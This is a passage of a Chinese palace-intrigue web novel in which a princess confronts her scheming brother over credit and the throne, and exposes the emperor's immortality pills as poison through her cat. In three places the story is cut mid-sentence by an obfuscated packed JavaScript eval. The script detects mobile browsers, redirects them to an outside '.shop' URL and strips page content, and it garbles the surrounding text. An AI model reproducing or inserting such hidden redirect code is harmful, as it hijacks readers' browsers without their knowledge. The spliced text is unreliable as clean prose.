于是她穿着男装化为一六品小吏跟着工部众人学习,迎着狂风暴雨爬完凌城的山峰,勘察地势河流走向。外加多次与工部众人推算预测,才终于绘画出当年河流改势图。 温元钦不甘示弱回击道:“父皇,当年河流改势图是各位大人一块商讨而出的。怎么到六妹妹口中,就全成了她一人的功劳。” 温吟知怜悯地看他一眼:“四哥知晓凌城最高的峰是哪座吗?知晓凌河的起源地是哪里吗?知晓河床的沙土是什么石壤吗?” “是……”温元钦辩解:“时间太久记不清了。” 温吟知笑而不语,她连和温元钦争辩的欲望都没有。只要父皇有心,一查就知晓孰是孰非。即使当年她女扮男装,但见过她女装的朝臣又不是瞎子,哪里不知晓她真实的身份。 况且父皇哪里会不知晓当年事,只不过也是睁一只眼闭一只眼罢了。 雍和帝坐在上首看着温吟知,心中暗道他的这个女儿,勤奋努力聪慧好学。只是可惜了她是女儿身,无法继承大统。 “当年女儿并未阐明身份,最终将这功劳给四哥将功赎罪。女儿秉着救人初心,本就无意争这个功劳。” “但今日——不行。”温吟知将温元钦写着‘喜报’的折子摔在地上,“我的东西就该是我的,谁也不可以抢走原本属于我的一切。” 对,她不装了,她摊牌了。 她本来就是这样嚣张跋扈强势的性子,她根本就无法接受任何委屈。 温吟知直面迎上雍和帝威严打量的目光,温元钦叩首求饶:“父皇息怒。妹妹她这是气上头了,一时间说了些胡话。” 雍和帝除了当太子那些年外,登基以来还是头一次遇到敢在他面前摔东西的人。外加这些年他开始追求长生,平日里更会要求自己慎怒,追求内心的平静。 但他始终是做了二十九年的皇帝,是这个天下说一不二的主人。即使是他最喜欢的女儿,也不能挑战他的权威。 “跪下!”雍和帝冷脸道。 温吟知不服气的没动。 她没错,她不跪。 温元钦为她辩解:“浓浓不是有意冒犯父皇的……” 雍和帝呵斥他:“你闭嘴,滚出去。” 温元钦小声地回了句是,略微担忧地看了温吟知一眼,从养心殿退了出去。 从养心殿出来后他一直都是一副忧心忡忡的样子,直到他走得足够远,确保不会再有雍和帝的眼线后,方才卸下脸上的伪装,对身侧的随从道:“立刻差人去大肆宣扬本殿手上有亩产三石三斗的稻种,并将六公主在自己宫内偷养男宠被陛下斥责一事,速速传到民间。” 随从应下:“是。” “还有去告诉陆今年将人放了。”温元钦叫住随从,勾起意犹未尽的笑意。智者千虑,必有一失。百密一疏,终有一漏。他真是多谢浓浓身边的那宫女,为他提供了一个扳倒浓浓,翻身的好机会。 温元钦兴致勃勃道:“本殿倒是要看看本殿那个好妹妹,该如何安置他这个烫手的山芋。” 13. 三座大山 温元钦一走,屋内就只剩下父女二人。 雍和帝怒气腾腾审视着温吟知:“终归还是朕这些年对你太过好,好到让你忘记自己的身份,竟让你生出不该有的心思!” “父皇,若您生下来便是女子,您还会去统一西域继续做史上第一人,还是选择相夫教子在后宅渡过一生。”温吟知反问。 雍和帝代入了温吟知的假设,不由跟着她的思维走。他是史上第一位统治西域的帝王,从未有人取得过他这般的功绩。他在位这二十九年,也是国力最强厚的国家。若他是女子,可能在武艺上会差点,但短时间内也绝对不会有人超越他在位这些年取得的高度。 这个国家都是他一手建造的,他对自己的实力有信心。这也是为何他敢放心将朝堂交于底下官员,自己一心求仙问药的原因。 雍和帝从来不会发现他已经掉进了温吟知的思维陷阱里,因为雍和帝不会发现,他一直都是代入男子的角度去思考她提出的假设。而这,正是温吟知所想要的。 温吟知瞧见雍和帝听进去了,便走到雍和帝跟前两步距离处,跪下认错。 “父皇是浓浓的父亲,亦是一国君主。浓浓不该无视父皇的命令,是浓浓错了。”她叩首再抬起头时,好看的眉微微凝着:“但浓浓做不到将自己十二年苦心培育的成果,拱手让与他人。” 温吟知透着一股难以言喻的悲伤:“父皇您说过,浓浓是最像您的孩子。” “等您修道成仙后,仙家有仙家的规矩是不能插手凡间的事情。若四哥难堪以大任,您难道要在天上看着自己兴建的国家走向衰落吗?” 雍和帝神色不由动容。 温吟知吞下所有的委屈,假意扮轻松说道:“浓浓只是想要一个公平竞争的机会,哪怕父皇是将浓浓当成磨炼四哥的一把刀。” 轰隆一声,雍和帝觉得有什么在土崩瓦解。他这光辉戎马,政绩非凡的一生,难道要因为培育不好下一任帝王而在史书上留下不完美的一笔吗? 雍和帝伸手扶起温吟知,语气都比先前和顺了许多:“父皇不该凶你,父皇那时是气头上了。” 温吟知抿着唇摇摇头,她不怪父皇。在这个时代,如果她不能取得父皇的支持,那么她要对抗的不仅仅是皇权还有父权。 “陛下,仙鹤指路的时辰到了。”门外传来陆今年的声音,打断两人的谈话。 雍和帝颔首,对温吟知道:“浓浓你先回去,今日你所说的话,父皇会好好考虑的。” “是。”温吟知乖巧应下,推开门的瞬间,陆今年左手捧着金漆雕花木盒,迎面意气风发地跨进养心殿,一个眼神都没落在她身上。 温吟知回头看向殿内,父皇打开那金漆雕花木盒,取出一枚仙丹嚼服。 父权夫权皇权,这是这个时代压在女子身上的三座大山。 温元钦借陆今年之手,意图用婚事控制她的后半生,这是夫权。温元钦敢这么抢她功劳,也是看在自古以来从无女子当政,在借父权和皇权压她吞下所有委屈。 她所能拥有的,就是利用好父皇对她的这份亲情与这个时代搏杀。没有实力与价值的人,就会在这场博弈中成为牺牲品。 温吟知收回目光,挺直腰背往前一步步往前走——她不要成为牺牲品。 她想好好活着。 —— 温吟知从养心殿出来后,在走至一处拐角时,有人抓着她的手,将她领到了黑暗的角落里。 这是一处偏僻安静且也是她回栖鸾宫的必经之处。 温元钦锐利的目光里充满了责备和怒火,低声质问着温吟知:“浓浓,我是你一母同胞亲生的哥哥。你为什么非要告诉父皇你稻子量产比我高的事情。” “你是我唯一的嫡亲妹妹,哥哥坐上那个位置对你百利无一害。你想要的权力和富贵,哥哥都能给你,甚至也能让你入朝当官。” “你能把四石稻种给哥哥吗?哥哥真的很需要这份民心!” 温吟知看着被温元钦紧抓的手腕,狠狠地甩开了他的手后,揉着自己的手腕,轻描淡写地说了一句:“不能。” 温元钦脸色骤变,漆黑的瞳孔里阴戾的神色瞧着让人害怕。 “为什么。”温元钦不甘心地质问着温吟知:“为什么大哥可以,到我这里就不行!你做了那么多年的努力,不就是为了把这批高产的稻种当成礼物送给大哥吗?” 温吟知凝眉疑惑:“你怎么知道。” 此事她明明只同太子哥哥说过。 “当年那群小杂种嘲笑你时,你以为就只有大哥会安慰你吗?”他上前逼近一步,“哥哥只不过晚来了一步,就被大哥占了先机。” 他深邃的眼眸里闪过一丝兴奋的光芒:“哥哥我全将他们都教训了一顿,谁让他们嘲笑浓浓。” 温元钦口中的小杂种是其他兄弟姐妹,他打心底里就瞧不起父皇其他庶出的孩子。 温吟知心里有那么一丝动容,但也只是动容了一瞬,她便很冷静地反驳道:“多谢四哥哥,但被嘲笑审美一事我从未放在心上。” 她一个重活一世的人,还能将这点小事放在眼底吗? 温吟知不明白这句话哪里惹怒了温元钦,他猛地上前用手掐住她的脖子,将她的背抵在身后的墙上:“什么叫没有放在心上?你就能对大哥的事情上心,就不能对我的事情上心吗?” “同样都是你哥哥,四石稻种为什么不能送给我。”他狠厉发问,掐住她脖子的手青筋爆起。 温吟知不相信温元钦敢在这里掐死她,因此她也不挣扎,只是蔑视地看着他,说着戳他心窝子的话:“不能!我不愿意!” 被激怒的他,手上的力度又大了些。 因为那个梦境,梦里的温元钦登基后软禁了她。每晚她都会梦见她被囚禁在那个狭小的空间里,鲜血染红了红色的梦境。没有人能听到她绝望崩溃的尖叫声…… 她不愿意将自己的命运交到任何人手里! 温吟知咬着下唇冷冷道:“你忘了,是谁找来陆今年说我是邪祟,要治好我的梦魇,只能将我嫁出去。” 温元钦讪讪抬起头来,五指松了些。 “是谁在得知我梦魇后,怂恿母后将我的药方换为具有慢性毒药的安神汤?是谁这么杀人于无形,想要我承受不了梦魇之苦自杀而亡,或者被慢性毒药毒死?” “又是谁察觉自己的阴谋被我识破后,当机立断在七月初五的那场夜雨,派人杀我。”温吟知微扬起下巴,向上斜晲着温元钦:“那你做这些事情的时候,有想过我和你是一母同胞的兄妹吗?” “我……”温元钦语塞,五指又松了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309897|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 温吟知继续反问他:“我是不是成为你和林大人之间的交易,我嫁给他儿子,他扶持你登上太子之位。你怎么能将你唯一的亲妹妹拿出去做交易呢?” “你怎么能对你一母同胞的亲妹妹下得了这毒手?” 温元钦看着她,眼中似乎涌动过许多种情绪。 温吟知看懂了他内心里复杂的情绪,因为他处处不如他们的大哥。在太子哥哥死后他又被临时赶鸭子上架,朝廷上他也没有属于自己的势力。原本太子一派的势力也不服他,例如颜晚周的父亲中书令就完全中立。 因此温元钦急需拥护他的势力以及功绩。 他现在能动的势力不多,刚好就将主意打到了她身上。 温吟知低头看了一眼温元钦还未放开的手,接着道:“想要就凭自己的实力去争,争不到就别想让我让。我不依靠你,我也不会成为你的筹码,我也只信我自己。” “我们各凭本事——” 她的话还没说完,温元钦的手又蓦的用力,狠狠掐住她细弱的脖颈,发出一声低吼:“你为什么不喜欢哥哥?” 温吟知呼吸一紧,感觉全身气血都在往上涌,却还是坚决地说道:“我不喜欢与我为敌的蠢货。” 她若是成为了女帝,温元钦依旧还是皇亲贵族,他的荣华富贵依旧是少不了的。既然他觉得做储君的路很难走,那不如就退出让给她。 她四哥人不太聪明却还是想拿疯批偏执帝王剧本。 温元钦瞪着她,温吟知也回瞪着他,双方谁也不让谁。她骨子里埋藏着多年的疯感,在这一日彻底释放出来了。 两人互相交战,最终以温元钦落败,彻底放开了桎梏她脖子的手宣告结束。 能重新获得新鲜的空气后,温吟知扶着墙边弯腰大喘气。 温元钦站在黑暗里阴暗地盯着她,“浓浓,别和哥哥争了。哥哥答应你,无论发生什么哥哥这一辈子都会护着你。你想同哥哥争,不就是为了不嫁给林飞白吗?” “你知晓我为什么不还手吗?”温吟知单手扶墙站直身子,气息不稳地说道:“因为我还把你当做我的哥哥。” 看在血缘关系上,她试图唤醒温元钦最后的良知。 温吟知:“若你还把我和父皇当成是你的亲人,就不该让父皇吃那些丹药。” 那些丹药都是重金属,父皇还继续吃恐怕要早早嗝屁了。 温元钦很直白地告诉温吟知:“你退出,好好嫁人,我便不让陆今年给父皇炼制长生丹。” “那这就是谈崩了。”温吟知无奈道。 黑夜中响起一声怪异的猫叫,一双发光绿色的眼睛出现在墙头。温元钦循声看去,那绿色的眼睛就腾空一跃,在空中跳出完美的弧线。温元钦下意识拿手肘抵挡,温吟知却稳稳地接住了跳过来的发光绿眼睛。 撕家高傲地躺在温吟知的怀里,嘲笑地向温元钦发出一声欢快的叫声,好像在说纸老虎、胆小鬼。 温元钦甩袖将手背在身后,胸膛急速起伏着。他看着温吟知低头、单手抚摸着撕家柔顺光滑的毛,抬起头时唇边露出鬼魅的笑意。 她说: “哥哥,你玩不过我的。” “明日,我就让陆今年打入‘冷宫’。” 话落,温元钦瞬间起了寒颤。 14. 我不是他 温吟知没管温元钦是什么反应,她只是抱着猫走回宫道上,带着她的人离开。 她与温元钦已经彻底撕开兄妹两人伪善的真面目,接下来便是各凭本事争输赢的时候了。 温吟知摸着猫,面色凝重。跟在她身边的众人噤声,气氛严肃。谁也没出声提醒公主走的这条路,不是通往栖鸾宫的路。直到她站在太常寺门前,抬起头看着太常寺的匾额。片刻后,她像是终于下定了某种决心般,迈脚踏进。 闻讯赶来的太常寺卿恭敬迎接。 温吟知侧身回眸,语气不紧不慢道:“今日本宫前来,是有一事与太常寺卿相商。” 太常寺卿:“公主请讲,下官一定竭尽所能办成此事。” …… 待事情处理好,温吟知从太常寺出来时,已是黄昏。 她踏着满地余晖回栖鸾宫,路过钦天监时,颜晚周正好出现在大门处,出声喊住了她:“公主。” 温吟知只好停下脚步,望向他:“有事吗?” 她眼神不经意扫过他背在身后的手,像是藏了什么东西。 周围的宫女自动退后,给二人留出独处的位置。 颜晚周的目光落在她发红,带有五指印的脖子处。温吟知留意道他的目光,这是中午和温元钦对峙时留下的掐痕,没曾想这么久还未消。 颜晚周眸色一深,话到嘴边却说着其它:“人,下官已平安送回。公主可别忘了你我达成合作的盟约。” 颜晚周说的是他保肖郢性命无忧,她将陆今年从大祭司的位置拉下来一事。 温吟知颔首,回颜晚周:“知晓了,明日本公主必然会给你答复。” 然后两人静默无言,颜晚周像个木头桩子一样待在原处。温吟知怀里的猫不耐烦地朝着颜晚周叫唤一声。 温吟知问:“还有事吗?” “并无。”颜晚周侧身退让的动作间,温吟知仿佛看到,她那把因为砸陆今年而损坏的桃花伞。 他身形高大且动作迅速,温吟知并不确定自己是否看错。但这于她而言,无关紧要。 于是她对着身后的宫女们说:“走吧。” 温吟知心里盘算着事,一路上都没说话。忽额间一凉,温吟知抬头一看,有雨滴密密麻麻地落下。 春婳出来的时候并没有带伞。 “公主下雨了。”春婳提醒。 温吟知眯起眼抬头看向天空,豆大的雨滴落在她脸上,她怀中的猫害怕的要逃跑。 春婳:“此处离栖鸾宫不远,公主先去廊下避雨,春婳先回去给您拿伞。” “不必了,几步路的事情,我同你一块走快些即可。”温吟知抬起手袖护住怀中的猫,让它不被雨淋。撕家感受到她的庇护后,便立即安分下来了,乖乖趴在她怀里不叫不闹的,顺从得很。 温吟知低着头向前跑,小跑没几步路后,便有人抓住了她的手袖。 一双展新的雨后青蓝色靴子出现在她的视线里。 她缓缓抬起头,一张颜色灼灼的脸映在她的瞳孔里。肖郢撑着伞站在她跟前,微微垂下眼睑瞧着她,手中提着一盏宫灯和另外一把油纸伞。 宫灯照在他的脸上,为他原本清冷的面容渡上一层柔和的光。 雨淅淅淋淋打在地上,错落有致的像一首交响曲。宁静安逸的气息,在空中慢慢氤氲开来。 他什么都没说,只是单独的一个撑伞动作,无数闪烁的回忆在温吟知的脑海里高速旋转。在那个不知晓几千年后的现代,十五岁的她从国内转学到国外的学校,惨遭霸凌。 她们在她的水杯里加了东西,等她一觉睡醒天都黑了,孤零零地被反锁在课室里。她的背包、手机现金等私人物品全都没了。 黑漆漆的夜里她又累又饿,浑身还使不出劲。她废了九牛二虎之力才勉强砸破窗户玻璃跳了出去,但也摔伤了膝盖。 学校坐落在偏远郊区,占地面积颇大。等她走出教学楼不仅发现学校里空无一人外,甚至连学校大门都锁了。 在突突响合法的国外,她不敢冒然一人夜行。只能狼狈地翻过墙,站在学校与道路中间的位置,争取自救。她妈妈裴女士和她爸爸大温总都是日理万机的人,忙起来有时候就住在公司附近的房子里,他们未必能第一时间发现她没回家。 所以她站在学校与道路中间的位置上,想等一辆路过的车寻求帮忙。如果对方是心怀不轨之人,她还能逃回她熟悉的学校里。 她不知道时间过去了多久,只记得她等了好久好久,这条路上一辆过往的车辆都没有。就在她等得心灰意冷决定回学校找个地方睡一觉的时候,也是忽然间下起了雨,马路上传来汽车的行驶声。 她即害怕又期待地转身,远远地便看见一头戴鸭舌帽、手里拿着未撑开伞的男生站在车门旁边,听着他用流利的英语问:“你需要帮助吗?” 那是她第一次遇见肖赢。 朦胧的雨被远方斜照来的车灯照耀着,在光中勾勒出雨如细针的形状,他冒着雨向她而来,高大的身躯遮挡住耀眼的车灯。 “公主。”肖郢主动将手中的伞递给温吟知,低头视线落在她脖子上留下的五指印。 温吟知从现代两人那段没讲完的岁月中回过神来,怔怔地看着细碎的日光落在肖郢身上,光影交织地勾勒出他清晰的五官。记忆中的人逐渐与眼前人的模样交叠重合,直至完全变成肖郢的模样。 一把伞下,他仅低头一个眼神,便叫她的灵魂在震颤中无力挣扎。 她没问本该前往太常寺的肖郢为何会出现在此,反而低声同他道:“抱歉,强迫你进宫并非我本意,牢狱之灾也的确受我牵连。若你不愿前往太常寺做乐师,有其它要求,我都会应允你。” 她以为肖郢是不愿前往太常寺做乐师才在此等她。毕竟宫内凶险,肖郢刚入宫差点就为此丧命。 可她错了。 肖郢凝视她片刻,沉静道:“奴是来感谢公主救命之恩的。” 温吟知一怔,似从未想到会是这个答案。 就在温吟知佂楞的时间里,她静静地听着他说:“太常寺,奴愿意去,并无其它要求。” 所以他在此等她,原来只是为了道谢而已吗? 太多的话压在她的心口,让她根本不知从何同肖郢说起。霎时间,现场陷入了沉默。 雨下得不大,虽绵绵不断却细如毛针。 温吟知看着前方去往栖鸾宫的路,抿了下唇方才抬头看他道:“能送送我吗?” 话毕,温吟知怀中漂亮的三花长毛猫也从袖中探出头来看他。 肖郢垂眸,他伞下的一人一猫都睁着一双绮丽清透的眼睛看着他。 肖郢喉结微动,最后只汇聚成一句:“可以。” 温吟知忍不住低下头,温和的笑意从她的眼眸深处如春水般荡漾开来。 在现代两人初见那段没有讲完的故事里,她温吟知比很多很多粉丝都先要认识肖赢。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316429|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他是一个很好很好还很温柔真诚的人。 不知为何,无论是现代还是古代,每次见他,温吟知都会感觉到前所未有的放松和幸福。就像此刻,明明两人什么都没做,她却偏偏觉得前所未有的轻松。 当人卸下防备的时候,有些话也就自然而然地脱口而出:“肖郢,你还记得我们第一次见面吗?” 肖郢平静地接上:“记得。” 因着这句记得,温吟知的心漏跳了一拍,隐含期待的试探开口问他:“那我们是否很早以前就认识了。” 此话一落,温吟知怀中的猫也伸长了脖子倾耳侧听。 肖郢停住脚步,身上那股冷然高绝的气质冲散方才的氛围。 他慢悠悠地抬起眼,“公主对奴的好,是因为奴长得似公主的一位旧友吗?” 微风吹起肖郢细长的发丝,轻拂过温吟知手臂,带来微凉柔软的触感。温吟知凝着眉,无法否认自己对肖郢的好是掺了私心。 肖郢语带疏离与冷漠的同她说:“可我不是他。” “公主只需派人去查奴的过往,便知奴不是公主要找的人。” 肖郢再一次否决了他是肖赢一事。 可一模一样的脸、熟悉的《兰亭序》《泪桥》这接二连三的巧合碰撞在一起,这让温吟知如何相信他不是肖赢一事。 可此时此刻的她还没做好准备,抛开一切与他相认。 春雪在一侧看着,正想开口说肖郢要注意身份。就发现公主神色难过地轻轻转身离开。在公主离开的那一瞬间,肖郢便落寞地轻垂下眼睫。 一动一静的两人,气氛诡异又奇怪。偏偏俩人又都长了张绝世容颜,春雪从未见过这种场面,竟看呆了。 肖郢冷硬地将伞塞到春雪的手里,声音如流淌的溪水般好听:“去追她。” 温吟知抱着怀中的猫在雨中行走。 春雪这才如梦初醒般去追上温吟知。 “喵?”被温吟知用袖子遮住的三花猫,从她臂弯中探出头来看向肖郢。替温吟知撑伞的春雪也忍不住回头瞧了肖郢一眼。 夜色已黑,他站在光影交织的宫道上,眼眸如深渊,月光将其俊美的五官镀上一层冷光。 春雪收回目光,压下心中许多疑惑,同温吟知道:“谨慎起见,公主是该查一下肖公子的来历。” “你也觉得有点奇怪对不对?”温吟知摸着撕家的脑袋若有所思说道。 春雪颔首,提出自己的见解:“春雪虽然不知公主何时认识肖公子的,但方才肖公子的态度,似乎有意在让公主认清他的身份。” “公主,会不会真是您认错人了。肖公子不愿占他人的好处,所以才这般提醒您。”春雪委婉劝道。 温吟知沉吟数秒,她十分确信自己不会认错人,这其中肯定是有什么环节被她遗漏或者弄错了。但这一时半会的,她脑子很乱根本没有什么思绪。 “去查查他。”温吟知叮嘱道:“再派一内侍到他身边伺候着,若有什么事,及时向我禀报。” 春雪应下,两人回到栖鸾宫。 温吟知用过晚膳后,沐浴洗漱。在古代没有吹风机的日子里,她靠在窗边等夜风自然吹干头发。 她的小猫叼着属于它的小被子,趴在窗边的桌子上,熟练地为自己盖上被子。 温吟知摸了摸它的小脑袋,它满意地发出咕噜噜声,用额头蹭了蹭她的手心。她低头同它耳语,撕家听后不耐烦地喵喵叫两声,以示同意。 15. 试长生丹 温吟知清早醒来,用过早膳后她便前往养心殿求见父皇去了。一直到中午,父皇才有空宣她入殿。 但她像是什么都没察觉般,用着寻常的口吻说道:“父皇,女儿午膳想吃酿黄雀、香炸琵琶虾、炒缮面、荔枝膏水、密金瓜……” “小馋猫。”雍和帝抬手阻止温吟知继续报菜名,对一旁的太监总管李公公说道:“吩咐御膳房按公主方才报的菜肴做。” “是。”李公公笑道。 “父皇对浓浓最好了。”温吟知开心笑道,顺手接过春雪手上的撕家撸着它的毛。 父皇淡淡瞥了她和她的猫一眼,并未开口驱赶。 父皇不太喜欢猫,她养撕家一年都没有瞧见过父皇抱过撕家一次。但是顾忌着她喜欢,父皇也从不排斥着猫在皇宫里到处游走。甚至也能接受她抱着猫在他面前闲逛。 温吟知进养心殿后也不多说话,只是抱着猫玩耐心地等饭,似乎来此就是为了蹭父皇御膳房的一顿饭。雍和帝也只是默默地批着折子。 李公公对此情形早就见怪不怪,雍和帝众多子女当中,其余皇子公主对陛下都是敬畏中带着拘谨,只有这位六公主除外。况且旁人或许不知晓,但李公公明白方才六公主报的菜名全是雍和帝喜欢的菜。 “咳咳——”正在批奏折的雍和帝用手帕捂住嘴咳嗽两声,正在逗猫玩的温吟知立即噤声。她迅速放下撕家,三步并两步走过来夺过雍和帝的手帕摊开一看——没有血。 她神色凝重的松了一口气,真是看电视剧看多了,以为每个皇帝都会咳血。 “胡闹,没大没小的。”雍和帝不轻不重地斥责温吟知两句。 温吟知笑容讨好的为雍和帝端上一盏茶:“父皇润润嗓。” 雍和帝接过一饮而尽,又使唤着李公公:“再拿粒长生丹过来。” 温吟知和撕家一人一猫同时提高警惕。 她有一下没一下的摸着撕家,撕家两只眼睛全神贯注地盯着屋内的人。待李公公拿着丹药进来后,温吟知便停止手上抚摸撕家的动作。 她收回手,一人一猫神视线神同步盯着那装长生丹的匣子。 待雍和帝取出丹药要喂进口中时,一直蓄势待发的撕家直接一个跳跃到书桌上,伸出肉垫打掉了雍和帝手上的丹药。然后又火速奔着掉落在地上的丹药而去,当着众人的面吃下那枚长生丹。 李公公大惊失色:“使不得使不得,那可是千金难求的长生丹呀。” 温吟知飞速看了一眼父皇的脸色,他气得脸都青了。她飞速向撕家跑去,撕家假装躲了几下就被她捉到。 她伸手去掏撕家的下舌,紧张命令着撕家:“快吐出来,你怎么可以偷吃父皇的长生丹。” 温吟知一下就摸到撕家压在舌头底下的丹药,但她还是很惶恐地抬起头,装作什么都没找到的样子,摊开掌心给父皇看:“没了,撕家把长生丹给吃下去了。” “我的祖宗呦!”李公公大喊着小跑过来。 雍和帝面色不善地盯着撕家,似乎想训斥但又不好发泄到一只猫身上。 “这是你能吃得东西吗?”温吟知假装教训撕家并再次伸手到撕家口腔,悄悄将丹药藏在掌心,打算等会趁人不注意的时候藏在腰封里。 撕家无所谓地叫唤一声,一副死不认罪的模样。 温吟知感觉身后不善的目光更加严重。她害怕父皇动了杀心,立即跪下请罪:“是女儿管教不严,让撕家偷吃了父皇的长生丹。父皇怎么惩罚女儿都可以,但别责备撕家。” “它只是一只猫,它什么都不懂,都是女儿做主人的没有教好。” “我的小祖宗呦,那玩意是苦的你怎么能吃得下去。”李公公不信撕家真的吃了长生丹,自己伸手去掏撕家的口腔。 还没等李公公伸手,原本一脸不服气的撕家就躺在地上,四肢抽搐。没多久,一团白沫从它口中流出。 “啊!”李公公唤了一声,“公主它这是怎么了!” 温吟知和雍和帝立即起身,撕家躺在地上口水流了一地,打湿了地毯。 昨夜她同撕家商量好,让撕家去抢父皇的丹药假装吃了,然后撕家再当着父皇的面表演干呕、四肢抽搐,引得父皇对这丹药产生戒备,以此来挑拨父皇和陆今年的关系。 但温吟知看到那团白沫时,立即明白了撕家这不是演的。 “它中毒了!”她直接抱起地上的撕家,着急喊道:“传太医,快传太医。” 但她立即想到太医院里几乎没有兽医,太医根本就不会给动物看病。 “撕家别怕……”她安抚着怀中抽搐的撕家,心底一边劝诫着自己要冷静处理,一边又在咒骂自责自己出得什么馊主意。 温吟知深吸一口气,努力思考现代中毒是怎么处理的。 她的脑海里立刻浮现四个字:催吐、解毒。 温吟知急促道: “春婳拿清水来。” “春雪赶快去找绿豆汤、甘草汤二者寻一样过来。” 春婳春雪二人分头行动。 温吟知前不久还跪在地上求雍和帝谅解,不要责备撕家。这下她抱着猫倔强地抬起头,对上雍和帝震惊又带有怀疑的目光,语气不善又带有关心地说道:“父皇瞧见了,撕家是吃了长生丹才会这样的。猫的寿命比人短,胃也比人脆弱敏感。” “就算冒着大不韪女儿也要说。父皇还是查一查这长生丹到底是不是真的长生丹。”她话音一落,她的眼眶也已经红了。 雍和帝哪里见她哭过。在他的记忆中,他这位女儿从生下来就未曾流过一滴眼泪。生气与人闹别扭时,受了委屈时,顶多也是冷着脸,从未见她哭过。 即使是上次被刺杀,她梦魇到那种程度也未曾见她落泪。 如今她竟然为了一只猫眼红了。 她真的只是为了一只猫而哭吗?雍和帝觉得浓浓最本质的关心是他,她是害怕担忧自己吃的长生丹有问题。 浓浓必然也不会拿她最喜欢的猫儿来同他开玩笑,况且浓浓如今这般心急如焚的样子必然不是演的。雍和帝一阵心惊,后脊背被吓得出一身冷汗。 这长生丹究竟是长生丹还是催命丹! 雍和帝不由怀疑这半年来越来越差的身子骨,是与此有关! 想至此雍和帝他虚晃一步,踉跄坐在龙椅上。 温吟知目的早就达到了,她心里只剩下深深的懊悔和自责。她拿着碗的手都在轻微地发抖,动作却很迅速地接过春婳端上的清水。她让撕家横着趴在她腿上,一手撬开撕家的嘴,一手将清水灌入撕家的口腔。这样灌入口中的水便能流出。 “撕家乖,洗干净就好了。”她温柔的安抚着撕家。 夏日炎热,御膳房里早早就备好了绿豆汤。春雪去到御膳房一眼就看到它,立马将这绿豆汤端来给温吟知。温吟知喂撕家喝下这一碗绿豆汤后,撕家的情况也好些了,没有再口吐白沫了。 雍和帝全程静默着没有作声,坐在龙椅上思考人生。 温吟知拿着干净的帕子替撕家擦干净脸,一边低垂着眼冷着声同雍和帝道:“父皇,儿臣要求大祭司公开炼长生丹的秘方,或者再给儿臣一瓶长生丹。” “你要做什么?”雍和帝沉声问。 温吟知也沉着声答:“儿臣要拿这长生丹去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325168|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喂老鼠,一日三餐顿顿不落,看看这丹药究竟有没有问题。” 李公公急得直跺脚劝:“这药是仙方,公主可说不得气话呀!” 雍和帝盯着她,眼神锐利:“你有怨。” 温吟知压制着性子回:“怨,十分怨,女儿怨自己为什么不以身试药。若这药真有问题,女儿也能走在父皇前头,全了这一场父女情意。” 雍和帝胸膛快速起伏着,明显气得不轻:“你就如此笃定此药有毒?这可是长生不老丹,也许撕家方才那般举动便是成猫仙先兆……” “父皇,死了便是成仙吗?”温吟知眼含悲伤地问雍和帝,外人全然看不出被她压下的怒火,只看到她一片为父担忧的孝心。 雍和帝噎了一下:“自然不是。” 又补充道:“只是朕对这江山多有贡献。”他的功绩前无古人,后世几百年内估计也难再出一个来者。像他这样的人,自然死后该去位列仙班。 温吟知真诚劝道:“既然如此,父皇何须服用这等俗物,徒增后世评说。自当完成这凡间考核之时,便能回归仙班。” 雍和帝一听,心中的怒火一下便熄了。 浓浓说得对,他做皇帝如此成功,庇护了多少百姓造福了多少社稷。他自然不用继续服用这些丹药,免得后世评说他是靠丹药才能位列仙班的。 可是不服用长生丹,他便会死……雍和帝的左右脑在博弈。 温吟知点到为止,戏再演下去便过了。父皇是个聪明人,自会做出抉择。 撕家现在情况稳定下来了,躺在温吟知的怀里安静地沉睡。 雍和帝思索过后,对李公公道:“再寻一对猫儿狗来。” 温吟知抚摸撕家的手一顿,没寻老鼠寻猫狗?难道父皇这是在疑心她,今日一切都是她所谋的局吗? 李公公已经领命退出去,一刻钟后,李公公带着一对刚刚足月的小猫儿小狗儿回来。 幼猫幼狗便同初生婴儿般一样脆弱,也对药物敏感。 “各喂一粒。”雍和帝下令。 “不可!”温吟知瞧着李公公身后各捧着匣子的两内侍,出声制止:“清水和绿豆汤呢?” 李公公低垂下眼睫,不敢吱声。 雍和帝双手背在身后,只说了一个字:“喂!” 话音一落,内侍打开匣子取出长生丹。刚满月的小猫小狗似乎察觉到危险的靠近,一直在不安的叫唤着。 见无法阻止,温吟知依旧不死心道:“父皇,换成粮仓里偷粮的害鼠吧。” 